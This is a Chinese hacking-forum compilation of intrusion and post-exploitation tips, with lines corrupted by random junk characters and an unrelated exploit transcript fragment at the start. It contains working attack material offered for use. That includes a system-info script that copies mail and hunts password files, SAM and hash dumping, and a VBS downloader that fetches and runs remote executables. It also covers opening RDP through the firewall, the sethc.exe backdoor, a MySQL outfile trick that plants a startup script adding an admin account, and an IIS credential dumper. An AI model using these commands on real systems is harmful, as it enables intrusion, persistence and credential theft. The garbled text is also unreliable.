; e1 R5 Z9 \) m( n* @6 U* [argp@julius ~]$ sysctl vfs.usermount
# f3 A9 ], {8 Y* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
- c0 m% l8 s& m  u- b& I* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
; I7 }  d+ K! ^; }$ e7 n$ _calling nmount()
6 \: I2 K& z- C& X9 i2 ?2 x( @
' x* c2 |9 Y8 C. `  Z（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
2 S. J1 R! |  X3 \2 e——————————————
9 u2 J. ?( l: y" n感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
$ X7 y" o" s' D————————————————————————————
3 f- `. O+ T$ a1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
2 O" q7 {# @  C: k& @# H* I; m注：
5 f  j) g- S. s) X! ^关于tar的打包方式,linux不以扩展名来决定文件类型。
. P- }( S5 l. }* `+ D5 q若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
5 E# m2 |; I* y3 E5 @& K" H$ u那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
0 Y' N/ o. H: ^7 V. E/ t, ^}  
. h7 V8 b8 n) q+ \! _$ M: k
提权先执行systeminfo
token 漏洞补丁号 KB956572
& G+ L& R: v& E/ UChurrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
, Z8 q% s6 z+ z2、收集系统信息的脚本  
for window：

1 `. U% J+ O* g" T2 v. r@echo off
echo #########system info collection
systeminfo
7 n2 J& _- Y* D, R2 g) }# Y5 J, Jver
( M4 d* S. h" I7 J+ E- _2 W) Rhostname
net user
( y5 I/ D) z4 ]! Z2 |! `2 {net localgroup
) S) x# g; _' d! Knet localgroup administrators
  t' E# Z/ g* ?net user guest
# V2 w- z4 ]- w% _6 ^9 ynet user administrator

- R2 N  s, T7 Yecho #######at- with   atq#####
8 E- @" Y* H) m2 P9 Secho schtask /query

" ?! X/ M' R% u$ K2 U& mecho
echo ####task-list#############
tasklist /svc
% I% \7 A) _5 w7 k# vecho
echo ####net-work infomation
ipconfig/all
3 X% q6 K. Y* y; K: q2 Yroute print
4 j3 Z0 k4 [+ {) {arp -a
netstat -anipconfig /displaydns
0 \/ s9 c9 Q. C# F: gecho
& S, G8 F5 [1 M% p. I" Zecho #######service############
3 _4 y; V( F  Ssc query type= service state= all
) {5 y  y) q; Z9 T: B5 Fecho #######file-##############
4 d1 B7 l) ]; r! E5 e  U/ xcd \
  `% W5 b4 h' j' M& htree -F
for linux：
3 u# }) g8 x4 [- g" M
#!/bin/bash

* x. {1 y( _, M" h- W: q9 uecho #######geting sysinfo####
$ N( s0 m1 s' v' ^  a( w) J7 techo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
: Z' r% c3 X* e" _9 w9 W, Jcat /proc/meminfo
0 {; N) Z  [" R- S) {echo
3 r9 @% c- T( L3 [cat /proc/cpuinfo
0 k5 n5 S2 @8 o" D6 E$ k7 Cecho
rpm -qa 2>/dev/null
. h) x. ?) Z5 Q6 d2 A/ J* O######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
9 W6 l& ], P3 \; a9 P6 @

; K' x4 d7 a) K( i- m& Zecho 'u'r id is' `id`
" U8 ~; j9 }9 Y! D/ xecho ###atq&crontab#####
* ?) _6 w) Y* ^" n* V- f5 L3 ?atq
crontab -l
# g* f# s, Q+ h8 ]9 z; recho #####about var#####
; X: \9 _* {/ Q. ?set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
/ }, c0 U$ H3 E( k% q+ U7 xcat /etc/hosts
hostname
ipconfig -a
2 Q% \: c; ~3 Z7 W+ tarp -v
echo ########user####
cat /etc/passwd|grep -i sh
& }( q2 b4 k4 p- n+ o! @
echo ######service####
6 e) B3 |/ f4 i! O/ `: i) `4 h" @chkconfig --list

for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
' T! i' `; X$ s/ u+ H# g
locate passwd >/tmp/password 2>/dev/null
sleep 5
9 b6 {( z) f& W  {5 v( vlocate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
  m" W3 O7 y) A* [3 Msleep 5
) t+ i& F/ T9 klocate config >>/tmp/sysconfig 2>/dev/null
) p3 `7 C9 y7 ]5 Wsleep 5

###maybe can use "tree /"###
echo ##packing up#########
; N* P5 x, z0 R: f, @9 U$ k5 ptar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
8 c( P6 }8 q* q% h3、ethash 不免杀怎么获取本机hash。
2 B: g/ v: m# t# q9 x% j& Y首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
2 @( v& i/ @! o$ i5 l2 I               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
4 \0 O, {2 g5 R! U——————————————
; r; Q0 _3 j3 e* T; s6 V  M4、vbs 下载者
1
% i  p$ }8 b8 ^& x$ pecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
3 G: s7 K- f2 a4 |echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
8 k5 e, y3 ~/ M5 y. G) Necho sGet.Type = 1 >>c:\windows\cftmon.vbs
5 {3 n* C2 n9 Z! f) x1 Aecho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
% ^+ K: K' o0 n$ V9 j# u8 Z  M" secho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
2 z+ L$ D3 G3 d4 S8 Bcftmon.vbs
$ f% U( ~' Y0 o9 B6 P& d
' x! o, c. V" {2 Y7 O2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
- t+ P- F3 Y% u7 GSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
2 \( u/ T; y; M8 `* A/ ^——————————————————
5、
1.查询终端端口
7 |+ b8 _5 L( A. O0 NREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
; A1 i# \2 {: E- G) Y! }REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
* f& A8 e/ c) m" R2 l  ?3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
; W/ D- i7 z1 \" k0 S6 nREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
" W/ D' F! @+ ?' u3 i( [) F7 k4 U/ F————————————————
6、create table a (cmd text);
" V7 c) S4 E  e8 L0 U5 Finsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
6 Q( H6 U3 x+ i7 eselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
' i% }0 a& a9 j7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
) s  k  A. s$ d1 W* t_____
! J5 K+ p; x8 [: l4 E, q% S1 H8、for /d %i in (d:\freehost\*) do @echo %i

+ C+ D. ?) [1 ~" F3 Q# }列出d的所有目录
  
( ^4 X  t9 {$ m/ q  for /d %i in (???) do @echo %i
4 p  g( |! P* ?  e' \7 R6 A
* ~4 A6 {7 H" R2 U# C2 ~' B3 p$ J把当前路径下文件夹的名字只有1-3个字母的打出来

5 l: G0 `5 c+ j* G+ c8 ~) |# s4 w- ^2.for /r %i in (*.exe) do @echo %i
  W; g5 u6 M3 u$ ~8 h: |- Z  
+ C9 \( l, r5 v1 D- |7 |9 A: s0 `( z- C以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

& @2 Y0 l* o# b1 K8 c3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

& [8 ~3 u* G( b. [, s8 G+ i4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
: }5 e4 M+ d7 l3 F9 S. H& B3 p1.Administrator注册表备份:
: t5 n. d# L8 r& yreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
7 f, o3 \# e; t- Z) o
2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
+ m3 r6 z6 Y, N  @修改PortNumber.

4 `! R- ]2 B: _  {- f+ L3.清除3389登录记录:
% u0 n* Q& ]% qreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
" o0 H. y1 J+ @3 H' D5 P' u
5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
6 x1 H" P2 W6 p6 X# z: T
; f2 t! Y1 h* I( Y1 Y* c* L6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
+ F0 r5 y% ]# K
# e$ v5 m) a  m: o% C8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
  A8 n9 G7 Q( o
9.另类方法抓系统密码HASH
% J5 O/ T: p/ T% S7 y9 ^8 }5 ^* Hreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
0 [/ {& x$ }2 E( Oreg save hklm\security c:\security.hive

" r& M. b; \: S: _" P3 _  `10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

9 }" o( a# s$ h3 g/ Breg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
! c( U; R! ]/ |/ @  g8 B6 C% ZSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
+ {) u& r' W* A  B- _; ~" YchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
" P% J: K" V) W' P4 Wif IsNumeric(childObjectName)=true then
3 R3 C# R2 N, i$ \' `# |  Wset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
, T& W6 ?! Q  H6 h0 \exit for
msgbox("error!")
wscript.quit
6 C3 f$ A  d  send if
3 t( T8 A- z$ l) L% t/ X7 X8 {5 Iserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
' F2 X6 b3 B: n/ Q1 r  `# R( Lpass=iisweb.AnonymousUserPass
! d' B. b, M6 j! g# F! O7 r$ J* ~- ppath=IIsWeb.path
2 {5 r, w  Z# Y8 i" p$ {' n5 olist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
6 i& Z% \2 l! N, N/ rend if
5 l# G% w2 T* E: J1 T$ x. [Next
wscript.echo list
Set ObjService=Nothing
. ?! n9 {5 \0 E8 h# r' f( Rwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
3 L. M* y8 c& X6 [! }9 M. m) |WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
5 }+ d" T- f' Q. q6 r1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
% o: j! P' ]# R# y. b: ?; J  O" D2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
5 Q3 _* d8 l* X7 ]</OBJECT>
, C7 ~9 F9 z3 s: y; n复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
0 S6 i) f9 t; ~, v3 n) EPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
& L7 h# g! ^# k5 X/ |# @' C 原因是ASP大马里有这样的代码：（没有就没事儿了）
, y! }( x; P: x+ t url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
2 L* N: H" g* y, W 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
$ J( b* d  F8 m: E) ~- z8 ?
* u5 |: S1 z' ?/ Q7 G! A! [+ t  f4 @; g==============================================================
LINUX常见路径：

/etc/passwd
/etc/shadow
6 G- M" v; [5 R) N/ M! q' @5 P/etc/fstab
/ y/ c' H4 g, S4 ?3 L8 j/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
+ T1 g$ c- _6 l3 K/var/www/conf/httpd.conf
5 M: v& ?! h) S8 b: p' X7 E: {& y/var/www/htdocs/index.html
' s' s6 Q0 T; A5 b+ l7 N9 Z/var/httpd/conf/php.ini
+ n( n  E4 [* ?/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
3 X7 Q. j0 F; v/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
& {4 ?' C2 g& R/var/www/index.php
$ X) S4 B1 ]( n; z3 t6 R9 \/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
- q% B0 A) i/ T3 M/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
( \! \+ t; M) `/usr/local/apache/htdocs/index.php
# X7 p; [9 |9 m+ t2 }/usr/local/apache2/htdocs/index.html
9 \1 Y+ R0 @* d& E4 Z; ]' s/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
. f7 T* \' C. n' Q( r( L, H8 k/usr/local/httpd2.2/htdocs/index.html
0 U1 A6 q( h" m6 N% l% u/ M; ?( U/tmp/apache/htdocs/index.html
  x! @0 z7 ]: e4 W3 O* K/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
8 D1 x8 |& @  u: i/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
4 t$ ?& E7 O. G1 u; l/ D0 R/www/php/php.ini
* Y) P9 g1 f6 b: @( L/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
4 F. P) Q* `4 Z$ v) i: y/www/htdocs/index.php
/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
7 R0 c; c7 |4 E) \/apache/apache/conf/httpd.conf
/ ~- {( ]+ A/ y1 E7 e/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
9 E2 }" f1 a" f; K/etc/apache2/apache.conf
3 w  R% y0 g' y7 G- q' l/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
8 s* T  T# b+ g2 o' H% r  {6 g/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
; e$ m% H! Y/ ?: ?/etc/httpd/conf.d/php.conf
  L! J, N0 `+ a$ z/etc/httpd/conf.d/httpd.conf
# Y* W6 M  A) D/etc/httpd/logs/error_log
1 l6 U; M& O0 ~& H/ S/etc/httpd/logs/error.log
6 k. t) D, y9 j' ?: b- R# i( u9 z9 b/etc/httpd/logs/access_log
* K/ Q+ g* ~0 y. d8 w/etc/httpd/logs/access.log
% R. Q2 ~7 `' m/home/apache/conf/httpd.conf
( h+ j3 k; @: h" {$ u: B( n9 E  E+ \  `/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
: ~  J7 u  j' J/var/log/apache/access.log
/var/log/apache2/error_log
7 }" c+ F9 @* e3 O1 x: k0 n" e/var/log/apache2/error.log
  F$ ]$ J7 M8 b" p3 ^$ q5 q# n/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
& K9 o2 u( r* D& ]. F" y8 G/var/www/logs/error.log
/var/www/logs/access_log
, w, t& s4 `( n5 k8 J  P9 @) q/var/www/logs/access.log
1 p5 A) H& y- ~% o8 D/usr/local/apache/logs/error_log
, @( Q, d6 d; U4 ~/usr/local/apache/logs/error.log
0 d3 w' x& {$ {; ^/ M/usr/local/apache/logs/access_log
' D! g- u! H/ }  @) I/usr/local/apache/logs/access.log
/var/log/error_log
, _' D8 P7 n/ y/var/log/error.log
/var/log/access_log
/var/log/access.log
8 x! O7 |6 L* X4 |# I1 s5 E( T/usr/local/apache/logs/access_logaccess_log.old
* O; m6 y' @+ Y/usr/local/apache/logs/error_logerror_log.old
- k: V) Z( \* Q1 X& |/etc/php.ini
/bin/php.ini
! z) d- m% f+ _; n7 h  v0 @/etc/init.d/httpd
& b% r3 A+ E% }0 L& O( L- |1 S/etc/init.d/mysql
/etc/httpd/php.ini
' P2 h, e7 ]# C1 m6 A' H/usr/lib/php.ini
+ N/ }+ d7 K  O$ b9 e) `/usr/lib/php/php.ini
; q! B; `3 j. C: t! {# C/usr/local/etc/php.ini
3 m) h& K$ I" Q8 u* z. t4 [/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/ f9 l( ]. |2 n4 j! j/ t/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
- \% q3 T3 c" x+ t) U! h/usr/local/php5/php5.ini
# j* ~, I2 Y1 g1 S" H6 g7 {3 N/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
8 o: b. r2 O0 `$ j. c/etc/php4.4/fcgi/php.ini
2 O7 @4 O7 G' n# j. Y/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
3 U  I, B8 i) L% z6 g# }/etc/php/php.ini
. N& n' }+ v1 n9 V6 k) h! _: f/etc/php/php4/php.ini
; X7 |: n  l% B. i- X/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
5 W  W  d7 p& V; M/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
% y3 \+ P# \6 x3 x3 q/PHP/php.ini
3 d) N$ G! D. C5 W( ]* X0 M/apache/php/php.ini
, |$ g1 k! Q6 X/xampp/apache/bin/php.ini
$ {' R! E0 N; u6 B$ `, u0 s/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
$ j/ L" _/ ~  W6 }/home2/bin/stable/apache/php.ini
- [: R$ Q5 C) L. P1 D9 \$ B/home/bin/stable/apache/php.ini
5 G. v, N* Z/ X. k/var/log/mysql/mysql-bin.log
$ w4 {/ N; q' Q# U0 p/var/log/mysql.log
* P6 ~  ]' J8 R9 b$ K! U/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
6 o  I6 y" Z2 @, I# r/var/mysql.log
2 }% m  R/ w8 o" Z* ]/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
- b3 N8 w7 E3 H. D0 i! m8 D' r5 g& C  Q/usr/local/mysql/bin/mysql
# R5 U5 ?- B1 a! M/etc/mysql/my.cnf
/etc/my.cnf
1 d& _  [5 V4 U9 X7 o! e8 s8 o/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
$ }, c) \; ]+ _% ]3 y$ ~% L* }/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
6 o4 @2 |+ c' @0 L/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
3 Q$ h8 m" ~0 m' n, V" j1 z/usr/local/share/examples/php/php.ini
6 D0 N* N( ]/ [  `# h4 a
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

1 k& ^$ {9 |) |9 V5 yc:\windows\php.ini
7 g1 U, [- n6 A8 M  `9 Xc:\boot.ini
c:\1.txt
5 y: i. @$ E. K7 T3 j7 E& fc:\a.txt
% ^# v0 @4 J5 `0 R' Y, \
* U- o1 }& ~5 P5 L3 kc:\CMailServer\config.ini
1 x# |5 h: d8 mc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
  S! J7 l  C# @. B8 T5 z& Pc:\program files\CMailServer\CMailServer.exe
3 x  d) ]% M, U( K# H) z6 Ec:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
7 V7 u$ `" d  JC:\WINDOWS\FreeHost32.dll
$ J8 A4 K- y7 T& S: e, ]2 l: ^0 vC:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp
- J3 @! ?: @& l6 P
c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

0 h/ W; T1 @. Z3 r0 KC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
7 K; ~$ s: B/ W$ v; M$ pc:\web\index.html
+ i3 k4 X9 }! ?5 L7 w+ v/ hc:\www\index.html
% R4 V0 q7 u6 Mc:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
# g1 `# ]. _3 G3 N+ L/ ac:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
0 L) U' ?( |4 i3 P% b" uc:\www\default.html
! p7 r  k% ?& r" hc:\WWWROOT\default.html
9 `# ?0 {! L0 Q, ^" kc:\website\default.html
, ]4 i# ~- h. n: G! x# E5 H2 Zc:\web\default.asp
c:\www\default.asp
8 N) O9 n! Y- K. c" o( E2 n& zc:\wwwsite\default.asp
7 p+ ^, f0 {( |' e1 v$ qc:\WWWROOT\default.asp
5 [! F2 ]$ N% u* Z$ O- _+ o1 Q; dc:\web\default.php
c:\www\default.php
- `9 ]5 `7 q/ W" x$ V9 w' ~  [' d3 Nc:\WWWROOT\default.php
c:\WWWsite\default.php
0 i( ?$ Q) V2 I* }5 e0 ?. `. \+ nC:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
7 |! ~& a9 D6 CC:\Program Files\Microsoft Office\OFFICE12\winword.exe
8 e5 o2 B9 Z* G( G* \8 [# ~C:\Program Files\Internet Explorer\IEXPLORE.EXE
; N/ i+ O+ h2 ]3 p2 G% nC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
2 \) K7 q8 i. ]" b# A5 QC:\Program Files\360Safe\360safe.exe
- j2 E' Y. c* k! m  WC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
, ~, ^5 I" t( n- A+ b0 V2 s  l7 qc:\ravbin\store.ini
c:\rising.ini
1 ~& _$ {& m) F/ m+ x  X( kC:\Program Files\Rising\Rav\RsTask.xml
9 s+ U5 B$ F: ^$ M0 RC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
  K0 z5 P4 p, v6 j- u& X8 QC:\Documents and Settings\Administrator\Cookies\index.dat
! K2 L/ o( [0 n+ a8 J- ~C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
& i0 n+ O* a1 q  P$ kC:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
1 I2 U  ^2 o5 C% h: CC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
4 _8 ]3 i+ b3 n' {1 hC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
8 U9 C; T- R/ CC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
+ K: L/ K: G0 J2 y  V9 QC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
6 b3 o+ f6 C' j* Y- O' YC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
& B: b/ k, A7 RC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
0 |* N# H- O9 q  OC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
& D8 s( z9 ~. q$ ^& y6 h& ^8 }  c5 zC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
) V1 D: e# X0 E# @) J6 sC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
. l8 M; h; U5 w: m! xC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
! r1 [; _; }* Z8 v9 b5 N! lc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
# u2 ?1 z+ R5 u: K7 RC:\Program Files\Oracle\oraconfig\Lpk.dll
* \# i$ c% v6 dC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
" W: W: Y5 y& T% SC:\WINDOWS\system32\inetsrv\w3wp.exe
# U% J& m1 T5 ?+ }8 h' cC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
8 j# d" W+ P/ x/ x( z$ zC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
4 C7 v! \! E& H9 M& Y8 i, Y' f2 Vc:\CMailServer\config.ini
' ?5 \- y! I9 f, I4 r+ `) k$ c( O! y% ]c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
